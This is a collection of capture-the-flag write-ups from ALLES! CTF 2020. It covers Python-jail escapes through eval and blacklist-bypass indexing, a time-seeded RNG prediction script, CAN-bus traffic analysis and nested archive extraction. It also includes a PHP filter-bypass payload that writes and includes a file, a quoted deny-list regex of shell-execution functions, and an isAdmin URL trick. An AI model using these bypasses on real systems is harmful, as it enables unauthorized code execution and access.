Since it is not possible to input uppercase letters directly to get the function `ALLES`, there is another way which uses `eval`:
This works locally:
```python>>> def ALLES(): ......>>> eval(eval("\"alles\".upper()"))<function ALLES at 0x105725a60>```
Unfortunately this wouldn't work inside the jail since `'upper'` contains forbidden characters.
One way to go around this restriction is by finding the string `'upper'` in the list of all attributes and methods of `str` type.
```python>>> a = print("".__dir__())['__repr__', '__hash__', '__str__', '__getattribute__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__iter__', '__mod__', '__rmod__', '__len__', '__getitem__', '__add__', '__mul__', '__rmul__', '__contains__', '__new__', 'encode', 'replace', 'split', 'rsplit', 'join', 'capitalize', 'casefold', 'title', 'center', 'count', 'expandtabs', 'find', 'partition', 'index', 'ljust', 'lower', 'lstrip', 'rfind', 'rindex', 'rjust', 'rstrip', 'rpartition', 'splitlines', 'strip', 'swapcase', 'translate', 'upper', 'startswith', 'endswith', 'islower', 'isupper', 'istitle', 'isspace', 'isdecimal', 'isdigit', 'isnumeric', 'isalpha', 'isalnum', 'isidentifier', 'isprintable', 'zfill', 'format', 'format_map', '__format__', 'maketrans', '__sizeof__', '__getnewargs__', '__doc__', '__setattr__', '__delattr__', '__init__', '__reduce_ex__', '__reduce__', '__subclasshook__', '__init_subclass__', '__dir__', '__class__']>>> a = print("".__dir__()[20+20+2+2+2])upper```
The strange indexing is due to the restriction on the digits that can be used in the jail.
Using this, it is finally possible obtain `ALLES` function object:
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a)<function ALLES at 0x7f13d1aa0378>>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a())No flag for you!```
There's more work to be done...
# Examining ALLES.\_\_code\_\_
`ALLES` doesn't give away the flag when called with no arguments. One way to figure out how `ALLES` works and how to get the flag is to try passing different arguments to the function and observe its behaviour.
Another way is to look at the `code` object:
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a.__code__)>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a.__code__.__dir__())['__repr__', '__hash__', '__getattribute__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__new__', '__sizeof__', 'co_argcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags', 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_freevars', 'co_cellvars', 'co_filename', 'co_name', 'co_firstlineno', 'co_lnotab', '__doc__', '__str__', '__setattr__', '__delattr__', '__init__', '__reduce_ex__', '__reduce__', '__subclasshook__', '__init_subclass__', '__format__', '__dir__', '__class__']```
There are lots of attributes that are useful in reverse engineering a Python function.
## Constants
This is definitely the first attribute to check. A naive implementation of `ALLES` would store the flag as a string inside the function. This means the string would be stored as a constant in the function bytecode.
### Definition
`co_consts` - tuple of constants used in the bytecode (see documentation of [inspect](https://docs.python.org/3/library/inspect.html) for reference)
### How to get
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a.__code__.co_consts)(None, 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', 'No flag for you!')```The string `'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N'` is not the flag format is `ALLES{...}`.
## Arguments
### Definition
`co_varnames`- tuple of names of arguments and local variables
### How to get
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(eval("a.__code__."+a.__code__.__dir__()[19]))('flag',)```#### Explanation
`a.__code__.__dir__()[19]` is `"co_varnames"`.
## Local variables
### Definition
`co_names` - tuple of names of global variables
### How to get
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(eval("a.__code__."+a.__code__.__dir__()[17+1]))('string_xor',)```
#### Explanation
`a.__code__.__dir__()[17+1]` is `"co_names"`.
## Bytecode
### Definition
`co_code` - string of raw compiled bytecode
### How to get
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a.__code__.co_code)b'|\x00r\x0et\x00d\x01|\x00\x83\x02S\x00d\x02S\x00d\x00S\x00'```
## Disassembly
The function bytecode can be disassembled using [dis](https://docs.python.org/3/library/dis.html#opcode-CALL_FUNCTION) module locally:
```python>>> import dis>>> dis.dis(x=b'|\x00r\x0et\x00d\x01|\x00\x83\x02S\x00d\x02S\x00d\x00S\x00') 0 LOAD_FAST 0 (0) 2 POP_JUMP_IF_FALSE 14 4 LOAD_GLOBAL 0 (0) 6 LOAD_CONST 1 (1) 8 LOAD_FAST 0 (0) 10 CALL_FUNCTION 2 12 RETURN_VALUE >> 14 LOAD_CONST 2 (2) 16 RETURN_VALUE 18 LOAD_CONST 0 (0) 20 RETURN_VALUE```
### Instruction format
Python bytecode instruction disassembly follows this format: `offset opname arg (argval)`
`offset` - start index of operation within bytecode sequence
`opname` - human readable name for operation
`arg` - numeric argument to operation (if any), otherwise None
`argval` - resolved arg value (if known), otherwise same as arg (*this is the case here*)
`>>` at offset 14 indicates that the instruction is a jump target.
### Disassembly breakdown
| OP | Description ||--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------|| `0 LOAD_FAST 0 (0)` | Pushes a reference to the local `co_varnames[0] = 'flag'` onto the stack. || `2 POP_JUMP_IF_FALSE 14` | If TOS (top of stack) is false, sets the bytecode counter to target. TOS is popped. || `4 LOAD GLOBAL 0 (0)` | Loads the global named `co_names[0] = 'string_xor'` onto the stack. || `6 LOAD_CONST 1 (1)` | Pushes `co_consts[1] = 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N'` onto the stack. || `8 LOAD_FAST 0 (0)` | Pushes a reference to the local `co_varnames[0] = 'flag'` onto the stack. || `10 CALL_FUNCTION 2` | Calls a callable object with positional arguments. `arg` indicates the number of positional arguments. The top of the stack contains positional arguments. || `12 RETURN_VALUE` | Returns with TOS to the caller of the function. || `>> 14 LOAD_CONST 2 (2)` | Pushes `co_consts[2] = 'No flag for you!'` onto the stack. || `16 RETURN_VALUE` | Returns with TOS to the caller of the function. || `18 LOAD_CONST 0 (0)` | Pushes `co_consts[0] = None` onto the stack. || `20 RETURN_VALUE` | Returns with TOS to the caller of the function. |
### Decompilation
The disassembly can be decompiled to this Python source code:
```pythondef string_xor(x, y): ...
def ALLES(flag): if flag: return string_xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', flag) else: return 'No flag for you!' return ```
### Sanity check
Now that the dependence between the input `flag` and the output of `ALLES` is clearer. It's best to do a sanity check.
`flag` is falsy:
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a())No flag for you!```
`flag` is truthy:
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a("0000"))@OOB```It is now clear that `string_xor` a string of the same length as the input to `ALLES`.
### string_xor decompilation
`string_xor` is a global function so it is possible to get its code object and disassemble it.
Instead, given that `string_xor` has a pretty descriptive name, it might be a better idea to save some time and guess how the function works by observing its behavior.
Passing an `int`:
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a(1))zip argument #2 must support iteration```
Passing a `list`:
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a([1]))ord() expected string of length 1, but int found```
Looks like the `string_xor(x, y)` accepts string inputs. It converts each character of `x` and `y`using `ord()` to an `int`, XORs them together, passes the result to `chr()` and uses that to construct an output string.
Possible decompilation:
```pythondef string_xor(x, y): ret = '' for i, j in zip(x, y): ret += chr(ord(i) ^ ord(j)) return ret```
### Another sanity check
Trying this locally:
```python>>> def string_xor(x, y):... ret = ''... for i, j in zip(x, y):... ret += chr(ord(i) ^ ord(j))... return ret...>>> def ALLES(flag):... if flag:... return string_xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', flag)... else:... return 'No flag for you!'... return...>>> ALLES('0000')'@OOB'```
Same output as seen on the challenge server.
## Guessing the correct flag
The flag format is known to be `ALLES{...}`.
Therefore, the first 6 characters that need to be passed to `ALLES` to get the flag are the following (checking this locally):
```python>>> ALLES('ALLES{')'133713'```
It is now obvious Wh47 h42 70 8E d0NE 70 Ge7 7he fl4G...
```python>>> a = eval(eval('"alles".'+"".__dir__()[20+20+2+2+2]+'()'))>>> a = print(a('1337133713371337133713'))ALLES{3sc4ped_y0u_aR3}```
|
# crypto / Actual ASLR 1
## Question
> Prove that you can win 0xf times against the house.> Then go to Vegas.
### Provided Files
- [`aaslr`](./aaslr)- `Dockerfile`- `ynetd`- `flag1`: Dummy flag- `flag2`: Dummy flag
## Solution
Playing around with the program, all we need to do is predict a random number 16 times.
```text$ ncat --ssl 7b000000cf533960c57d134b.challenges.broker2.allesctf.net 1337Welcome To The Actual-ASLR (AASLR) Demo 1. throw dice 2. create entry 3. read entry 4. take a guess
Select menu Item:1[>] Threw dice: 2Welcome To The Actual-ASLR (AASLR) Demo 1. throw dice 2. create entry 3. read entry 4. take a guess
Select menu Item:4(1/16) guess next dice roll:2(2/16) guess next dice roll:3```
Analyzing `aaslr` in Ghidra, the function `raninit` starts up the random number generator.`raninit` is called by `init_heap`.
```cvoid init_heap(void){ time_t t;
HEAP = mmap((void *)0x0,0x10000,3,0x22,-1,0); t = time((time_t *)0x0); raninit(t); return;}```
`init_heap` initializes the random number generator with `time`, which is only second-precise.If we start two connections within a second, they should generate the same numbers.This can be done with the following Python script:
```py#!/usr/bin/env python3import subprocess
a = subprocess.Popen(["ncat", "--ssl", "7b000000cf533960c57d134b.challenges.broker2.allesctf.net", "1337"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)b = subprocess.Popen(["ncat", "--ssl", "7b000000cf533960c57d134b.challenges.broker2.allesctf.net", "1337"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
def readmenu(proc): for i in range(7): proc.stdout.readline()
def throw_dice(proc): proc.stdin.write(b"1\n") proc.stdin.flush() line = proc.stdout.readline() return int(line.split(b" ")[3])
readmenu(b)b.stdin.write(b"4\n")b.stdin.flush()for i in range(16): readmenu(a) dice = throw_dice(a) b.stdout.readline() b.stdin.write(f"{dice}\n".encode()) b.stdin.flush()
while True: print(b.stdout.readline())```
Running this gets our flag.
```$ python aaslr.pyb'ALLES{ILLEGAL_CARD_COUNTING!_BANNED}\n'b'Welcome To The Actual-ASLR (AASLR) Demo\n'b' 1. throw dice\n'b' 2. create entry\n'b' 3. read entry\n'b' 4. take a guess\n'b'\n'b'Select menu Item:\n'b'(1/16) guess next dice roll:\n'```
### Flag
`ALLES{ILLEGAL_CARD_COUNTING!_BANNED}` |
On connecting to the server it prompts and waits for input:
```The flag is stored super secure in the function ALLES !>>> a = ```
So at first my aim was to call `ALLES`, but :
```>>> a = ALLES()name 'alles' is not defined```
> **Takeaway 1** : It converts our input to lowercase and then evaluates it and store back it into `a`.
So I tried :
```>>> a = eval('alles'.upper()+'()') uDenied```
> **Takeaway 2** : Some characters were blacklisted.
After some fuzzing I found the blacklisted and whitelisted characters :
```blacklisted = ['!', '#', '$', '%', '&', '*', ',', '-', '/', '4', '5', '6', '8', ':', ';', '<', '=', '>', '?', '@', '\\', '^', '`', 'b', 'f', 'h', 'j', 'k', 'm', 'q', 'u', 'w', 'x', 'y', 'z', '{', '|', '}', '~'] whitelisted = ['"', "'", '(', ')', '+', '.', '0', '1', '2', '3', '7', '9', '[', ']', '_', 'a', 'c', 'd', 'e', 'g', 'i', 'l', 'n', 'o', 'p', 'r', 's', 't', 'v']```
From those list I figured out few useful things:1. Functions we can still use like : `str, print, eval etc.`2. Common attributes we can use : `__class__, __str__ etc.`3. Any number usning `+`.
Now I tried to find some inbuilt strings in the python itself to reuse them and I stumbled upon something very interesting:```>>> a = str(print.__class__)>>> a = print(a) <class 'builtin_function_or_method'>```
It's a string and using indexing we can bypass blacklisted characters, similary I found bypass for few more characters:```bypass = { 'b' : 'str(print.__class__)[7+1]', 'f' : 'str(print.__class__)[9+7]', 'h' : 'str(print.__class__)[31]', 'm' : 'str(print.__class__)[27+1]', 'u' : 'str(print.__class__)[9]',}```
So for executing `print(ALLES())` bypass would be like: `print(eval(eval('"alles()".'+str(print.__class__)[9]+'ppe'+'r()')))` , but :```>>> a = print(eval(eval('"alles()".'+str(print.__class__)[9]+'ppe'+'r()')))No flag for you!```
So after some more playing with input I found something, which was equivalent of executing `print(ALLES.__code__.co_consts)`:```>>> a = print(eval(eval('"alles.__".'+str(print.__class__)[9]+'ppe'+'r()')+'code__.co_consts'))(None, 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', 'No flag for you!')```
The gibberish looking string was interresting, so I tried to make sense out of it:```>>> gib = b'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N'>>> chr(gib[0]^ord('A'))'1'>>> chr(gib[1]^ord('L'))'3'>>> chr(gib[2]^ord('L'))'3'>>> chr(gib[3]^ord('E'))'7'>>> chr(gib[4]^ord('S'))'1'>>> chr(gib[5]^ord('{'))'3'```
It turned out that the string was indeed the `flag` xored with key `1337`, and with little python code we can get the flag : ```enc_flag = b'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N'key = b'1337'flag = ''for i in range(len(enc_flag)): flag+=chr(enc_flag[i]^key[i%len(key)])print(flag)```
`FLAG : ALLES{3sc4ped_y0u_aR3}` |
After connecting to the server, we quickly notices lot of chars are filtered
So i typed all of printable chars to get the blacklisted and whitelisted chars:
```>>> a = 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~4568bfhjkmquwxyzbfhjkmquwxyz!#$%&*,-/:;<=>?@\^`{|}~Denied```
From this we extract the white listed chars:
```012379acdegilnoprstv"'()+.[]_ ```
First i wanted to print `__builtins__` but `b` and `u` are blacklisted,so i replaced `b` with `eval.__doc__[37+9+1]`and `u` with `eval.__doc__[3+1]`
```>>> a = eval("print(__"+eval.__doc__[37+9+1]+eval.__doc__[3+1]+"iltins__.__dict__)"){'repr': <built-in function repr>, 'str': <class 'str'>, 'print': <built-in function print>, 'eval': <built-in function eval>, 'input': <built-in function input>, 'any': <built-in function any>, 'exec': <built-in function exec>, 'all': <built-in function all>, 'Exception': <class 'Exception'>}```
I quickly noticed that `input` is allowed, let's use it:
```>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES()No flag for you!```
Let's inspect the function ALLES
```>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES.__code__.co_consts(None, 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', 'No flag for you!')
>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES.__code__.co_names('string_xor',)```
there is a non printable constant, and a probably a function called "string_xor"we can try to xor 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N' with ALLES{
```>>> from pwn import xor>>> xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N','ALLES{')b'133713A\x08\x1eB\x10)\x14 \x06B\x17\x17\x13)N\x0b'>>> xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N','1337')b'ALLES{3sc4ped_y0u_aR3}'``` |
assert(s) used to get warning(s) and output.
Class C1 used as const container, just for stuff to be readable (and easy to debug)
Hex-encoded strings - to bypass restrictions:
```
if (preg_match('/(([)]|["]|[\']|pcntl_alarm|pcntl_fork|pcntl_waitpid|file|pcntl_wait|pcntl_wifexited|pcntl_wifstopped|pcntl_wifsignaled|scandir|pcntl_wexitstatus|pcntl_wtermsig|pcntl_wstopsig|pcntl_signal|pcntl_signal_dispatch|pcntl_get_last_error|pcntl_strerror|pcntl_sigprocmask|pcntl_sigwaitinfo|pcntl_sigtimedwait|pcntl_exec|pcntl_getpriority|pcntl_setpriority|exec|shell_exec|proc_open|popen|system|passthru|file_get_contents|readfile|fopen|ini_set|fgets|fgetcsv|parse_ini_file|rename|copy|symlink|fseek|file_exists|delete|chmod|fpassthru|freed|fscanf|stream_wrapper_register|stream_wrapper_restore|fsockopen|pfsockopen|curl_init|stream_context_create|show_source|highlight_file|sleep|token_get_all|yaml_parse_file)(\s+)?\()|\$|\/\*.*\*\/|\/\/|\.|\//i', $_REQUEST['cmd'])){ echo 'Leave me alone hacker'; die(); }```
Payload:```cmd=>function main(): void {assert(1==2,"STEP1");assert(file_put_contents(C1::F1, C1::D3),"WFAIL");assert(1==2,"STEP2");include(C1::F1);assert(1==2,foo());assert(13=="\x33",__DIR__);}``` |
## Description
```Category: CryptoDifficulty: EasyAuthor: LiveOverflowFirst Blood: Cybernatural
Prove that you can win 0xf times against the house. Then go to Vegas.
Challenge Files: aaslr.zip```
## Analysis
What happens when we just run `aaslr`?
```kali@kali:~/Downloads/allesctf/aslr1$ ./aaslrWelcome To The Actual-ASLR (AASLR) Demo 1. throw dice 2. create entry 3. read entry 4. take a guess
Select menu Item:1[>] Threw dice: 3Welcome To The Actual-ASLR (AASLR) Demo 1. throw dice 2. create entry 3. read entry 4. take a guess
Select menu Item:4(1/16) guess next dice roll:1(2/16) guess next dice roll:2(3/16) guess next dice roll:3(4/16) guess next dice roll:4(5/16) guess next dice roll:^C```
You can throw dice, guess upcoming dice rolls, and create / read entries. This was a 2 part problem, and I only worked on the first part that was centered around the dice rolls.
Decompile `aaslr` with Ghidra and walk through the functions.
```cvoid main(void)
{ int iVar1; uint uVar2; code **ppcVar3; long in_FS_OFFSET; char local_118 [264]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); init_buffering(); init_signal(); ppcVar3 = (code **)aaslr_malloc(8); *ppcVar3 = throw_dice; ppcVar3[1] = create_entry; ppcVar3[2] = read_entry; ppcVar3[3] = take_guess; ppcVar3[4] = error_case; ENTRY = aaslr_malloc(0x7f8); do { while( true ) { while( true ) { print_menu(); memset(local_118,0,0xff); read_input(0,local_118,0xff); iVar1 = strcmp(local_118,"1"); if (iVar1 != 0) break; uVar2 = (**ppcVar3)(); printf("[>] Threw dice: %d\n",(ulong)uVar2); } iVar1 = strcmp(local_118,"2"); if (iVar1 != 0) break; uVar2 = (*ppcVar3[1])(); printf("[>] Created new entry at index %d\n",(ulong)uVar2); } iVar1 = strcmp(local_118,"3"); if (iVar1 == 0) { (*ppcVar3[2])(); } else { iVar1 = strcmp(local_118,"4"); if (iVar1 == 0) { (*ppcVar3[3])(); } else { (*ppcVar3[4])(local_118); } } } while( true );}```
`take_guess` will give you a flag if you get all the guesses correct:
```cvoid take_guess(void)
{ int iVar1; int iVar2; long in_FS_OFFSET; int local_128; int local_124; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_128 = 0; local_124 = 0; while (local_124 < 0xf) { printf("(%d/16) guess next dice roll:\n",(ulong)(local_124 + 1)); memset(local_118,0,0xff); read_input(0,local_118,0xff); iVar1 = atoi(local_118); iVar2 = throw_dice(); if (iVar1 == iVar2) { local_128 = local_128 + 1; } local_124 = local_124 + 1; } if (local_128 == 0xf) { puts("[>] CORRECT! You should go to Vegas."); system("cat flag2"); } else { puts("[!] WRONG!"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
`throw_dice` is pretty self explanatory:
```culong throw_dice(void)
{ ulong uVar1; uVar1 = ranval(); return (ulong)((int)uVar1 + (int)(uVar1 / 6) * -6 + 1);}```
`ranval` does some mathy stuff:
```clong ranval(void)
{ long lVar1; long lVar2; lVar1 = RANCTX._0_8_ - (RANCTX._8_8_ >> 5 | RANCTX._8_8_ << 0x1b); RANCTX._0_8_ = RANCTX._8_8_ ^ (RANCTX._16_8_ >> 0xf | RANCTX._16_8_ << 0x11); lVar2 = RANCTX._0_8_ + lVar1; RANCTX._8_8_ = RANCTX._16_8_ + RANCTX._24_8_; RANCTX._16_8_ = RANCTX._24_8_ + lVar1; RANCTX._24_8_ = lVar2; return lVar2;}```
How does this thing get seeded though?
`aaslr_malloc` calls `init_heap`:
```clong aaslr_malloc(long param_1)
{ long lVar1; ulong uVar2; if (HEAP == 0) { init_heap(); } lVar1 = HEAP; if (HEAP != 0) { uVar2 = ranval(); return uVar2 % (0x10000U - param_1) + lVar1; } /* WARNING: Subroutine does not return */ _exit(0);}```
And `init_heap` gets the time in seconds since the epoch and passes the value into `raninit`:
```cvoid init_heap(void)
{ time_t tVar1; HEAP = mmap((void *)0x0,0x10000,3,0x22,-1,0); tVar1 = time((time_t *)0x0); raninit(tVar1); return;}```
And this is where it gets seeded:
```cvoid raninit(undefined8 param_1)
{ ulong local_18; RANCTX._0_8_ = 0xf1ea5eed; local_18 = 0; RANCTX._8_8_ = param_1; RANCTX._16_8_ = param_1; RANCTX._24_8_ = param_1; while (local_18 < 0x14) { ranval(RANCTX); local_18 = local_18 + 1; } return;}```
## Solution
Since the granularity is in seconds, we can start a local process at the same time as we create a connection to the remote host, and if they start within the same second (assuming no major clock skew) then the seed will be the same and we can feed the dice rolls from the local process into the guesses for the remote process.
```python#!/usr/bin/python3from pwn import *
#context.log_level='DEBUG'p = process(['./aaslr'])#r = process(['./aaslr'])r = process(['ncat', '--ssl', '7b000000f298cf5bdd7b82ed.challenges.broker2.allesctf.net', '1337'])
p.recvuntil('Select menu Item:\n')r.recvuntil('Select menu Item:\n')r.sendline('4')
for i in range(15): p.sendline('1') p.recvuntil('[>] Threw dice: ') roll = p.recvline().rstrip() print(roll) #r.recvuntil('guess next dice roll:\n') r.sendline(roll)
r.recvuntil('[>] CORRECT! You should go to Vegas.\n')flag = r.recvline()print(flag)```
Run it and we get the flag:
```kali@kali:~/Downloads/allesctf/aslr1$ ./solve.py [+] Starting local process './aaslr': pid 13523[+] Starting local process '/usr/bin/ncat': pid 13525b'2'b'4'b'1'b'1'b'6'b'5'b'2'b'5'b'2'b'2'b'2'b'2'b'6'b'4'b'3'b'ALLES{ILLEGAL_CARD_COUNTING!_BANNED}\n'``` |
## Reconafter a bit fiddeling around with the webservice at the provided [LINK](https://obd-tuning.ctf.allesctf.net/), we found out * you can add an arbitrary 7-letter 'dongle code' to the system here: [activate](https://obd-tuning.ctf.allesctf.net/activate)* you can search for that code here: [dongle](https://obd-tuning.ctf.allesctf.net/dongle)
which also shows a new parameter in link url 'dongleID' (https://obd-tuning.ctf.allesctf.net/dongle?dongleID=28). with a bit testing we had the insigth
* dongleID=7 seems 'connected'* if a dongleID is not used, like 999, system errors with ``` Oooooops an error occured. Pls contact the admins or if you are an admin, append &isAdmin=1 to the URL to see more information.```
combining those two resulted in: https://obd-tuning.ctf.allesctf.net/dongle?dongleID=7&isAdmin=1, which gives us a special debug version of the dongle number 7 page, where you can
* get a password for the system service ```IP: Checkout our broker. Password for Broker is ed6bf7142581b9e5cd93080b6dcc1426```* a pcap dump of some canbus
## Loggin In
armed with that info you can login to the system```root@kali:~/alles2020/can# ncat --ssl 7b00000099bf9868de13c429.challenges.broker5.allesctf.net 1337Welcome to the OBD dongle!Please enter the password to continue!Should you not have received your password yet, checkout the vendor page at: https://obd-tuning.ctf.allesctf.net
Password: ed6bf7142581b9e5cd93080b6dcc1426
Password correct.Please reconnect.
root@kali:~/alles2020/can# ncat --ssl 7b00000099bf9868de13c429.challenges.broker5.allesctf.net 1337bash: cannot set terminal process group (1): Inappropriate ioctl for devicebash: no job control in this shellobd@obd-tuning-ecus:/home/obd$```
## Dumpinglucky for us, here we have the full toochain installed (canutils, python3, scapy), so first command was```candump vcan0```watching a bit the canbus data flowing
``` ... vcan0 350 [3] 02 32 36 vcan0 799 [2] 01 36 vcan0 00000888 [3] 02 36 38 vcan0 002 [2] 01 30 vcan0 00003071 [2] 01 31 vcan0 799 [2] 01 34 vcan0 00000888 [3] 02 36 38 vcan0 642 [8] 10 21 34 38 2E 31 34 38 vcan0 00001337 [3] 30 00 00 vcan0 642 [8] 21 38 32 30 32 38 37 32 vcan0 642 [8] 22 39 34 35 2C 31 31 2E vcan0 642 [8] 23 37 31 32 35 37 33 33 vcan0 642 [7] 24 30 34 30 31 32 38 vcan0 00000888 [3] 02 36 38 vcan0 799 [2] 01 33 vcan0 799 [2] 01 34 ...```
the well educated car hackers eye, will see after a bit watching, that one of the bigger, sticking out can-ids (642) is some data wrapped in [ISO-TP](https://en.wikipedia.org/wiki/ISO_15765-2) can transport protocol
```vcan0 642 [8] 10 21 >34 38 2E 31 34 38<vcan0 642 [8] 21 >38 32 30 32 38 37 32<vcan0 642 [8] 22 >39 34 35 2C 31 31 2E<vcan0 642 [8] 23 >37 31 32 35 37 33 33<vcan0 642 [7] 24 >30 34 30 31 32 38<```
extracting the ISO-TP payload results in
```34382E313438383230323837323934352C31312E37313235373333303430313238```
which converted to text is
```48.1488202872945,11.7125733040128```
which looks pretty much like GPS coordinates - extracting all those coordinates from the canbus stream and drawing them on a map gave us:
## ALLES{GPS_HAX}
macz |
Identical prefix attack with unicoll (a little over 1 hour on my old Core 2 Duo machine). See [link](https://github.com/CTF-STeam/ctf-writeups/tree/master/2020/ALLES!%20CTF/Doors%20of%20Durin) for details.
 |
# misc / Archiver
## Question
> Archives exist in many formats.> I wonder how many exotic ones exist?
### Provided Files
- [`ALLES`](https://raw.githubusercontent.com/TeamOm3ga/writeups/master/2020/alles/misc/ALLES)
## Solution
The flag is nested inside archive files, most of which are named `ALLES`.For convenience, we will refer to each file as `ALLESn` for the `n`th file named `ALLES`.
Generally, we approached this by first running `file` to see if it was easy,then trying to find a signature in the header of the file.Archives typically store the filenames in plaintext so if we saw "ALLES" we knew a file signature should be above it.
1. Running `file` tells us this is `7-zip archive data, version 0.4`. We can unzip with `7z`.2. Running `file` doesn't get us anything. However, opening in a hex editor reveals the magic string `nanozip`.
```text $ hexdump ALLES2 -C 00000000 ae 01 4e 61 6e 6f 5a 69 70 20 30 2e 30 39 20 61 |..NanoZip 0.09 a| 00000010 6c 70 68 61 1f 0f 09 05 3b 05 00 0f 91 00 eb 87 |lpha....;.......| 00000020 03 41 4c 4c 45 53 00 42 c6 35 49 5f 45 74 5e a1 |.ALLES.B.5I_Et^.| ```
We can find copies of NanoZip, specifically version 0.09 alpha, online. It's so old, the [download page](http://nanozip.ijat.my/) links to Internet Archive. We found that the Windows binaries worked and we could extract. Note that it requires the `.nz` extension.
```text PS > nanozip.exe x ALLES2.nz Intel(R) Core(TM) i5-6600K CPU @ 3.50GHz|12366 MHz|#2+HT|4343/16323 MB Archive: ALLES2.nz Threads: 2 Compressor #0: nz_optimum1 [13 MB] Decompressed 66 667 bytes in 0.00s, 11 MB/s. IO-in: 0.00s, 64 MB/s. IO-out: 0.02s, 2411 KB/s ```
3. Again, running `file` is useless. Dumping the header of the file gave no obvious archive type:
```text 00000000 70 51 39 01 37 41 4c 4c 45 53 00 63 00 01 11 d2 |pQ9.7ALLES.c....| 00000010 00 01 04 57 92 ea 70 bf 11 74 64 6a f5 af 77 69 |...W..p..tdj..wi| ```
Googling variations on "pQ9 comrpession" eventually brings up an experimental [PAQ9A](http://mattmahoney.net/dc/#paq9a) version of [PAQ](https://en.wikipedia.org/wiki/PAQ). There is only a Windows binary available, and it worked:
```text PS > .\paq9a\paq9a.exe x ALLES3 ALLES 405877 KiB 0.34 sec HashTable<16> 4.0649% full, 1.3107% utilized of 262144 KiB LZP hash table 0.4167% full of 65536 KiB LZP buffer 0.1045% full of 65536 KiB LZP 70069 literals, 29 matches (0.0414% matched) Used 405877 KiB memory ```
4. `file` actually gives us something: `FreeArc archive <http://freearc.org>`. Unfortunately, the downloadable FreeArc binaries did not work and crashed on extract. The patched AUR package would not compile. We realized we need a later version of FreeArc and found one on the Internet Archive: [version 0.67 alpha](https://web.archive.org/web/20120208103920/http://freearc.org/download/testing/FreeArc-portable-0.67-alpha-win32.zip). This one worked. Like NanoZip, it requires the `.arc` extension.
```text PS > .\freearc\bin\arc.exe x ALLES4.arc FreeArc 0.67 (February 5 2012) extracting archive: ALLES4.arc 5 recovery sectors (2560 bytes) present Scanning archive for damages... Archive integrity OK Extracted 1 file, 66,555 => 66,523 bytes. Ratio 100.0% Extraction time: real 0.03 secs. Speed 1,957 kB/s All OK ```
5. No more luck with `file`. The hex dump gives us signature `MPQ`.
```text $ hexdump ALLES5 -C 00000000 4d 50 51 1a 20 00 00 00 db 03 01 00 00 00 03 00 |MPQ. ...........| 00000010 3b 03 00 00 3b 03 01 00 00 10 00 00 0a 00 00 00 |;...;...........| 00000020 08 00 00 00 7b 00 00 00 08 00 04 92 98 01 91 e7 |....{...........| ```
Google finds [MPQExtractor](https://github.com/Kanma/MPQExtractor), a program for extracting `.mpq` files from the video game Diablo II. It has to be built from source and has a weird CLI. We had to read the file list to a text file, then select files to individually extract.
```text $ ./mpqextractor/build/bin/MPQExtractor -l ALLES5.txt ALLES5 Opening 'ALLES5'... $ cat ALLES5.txt data\global\excel\UniqueArchivers data\global\items\flag.dc6 data\global\tiles\ACT1\CAVES\placeholder data\global\tiles\ACT1\COURT\placeholder data\global\tiles\ACT1\crypt\placeholder data\global\tiles\ACT1\Monastry\placeholder data\global\tiles\ACT1\Outdoors\placeholder data\global\tiles\ACT1\Town\placeholder data\global\tiles\ACT1\tristram\placeholder $ ./mpqextractor/build/bin/MPQExtractor -e "data\\global\\items\\flag.dc6" -o . ALLES5 Opening 'ALLES5'... Extracting files... ```
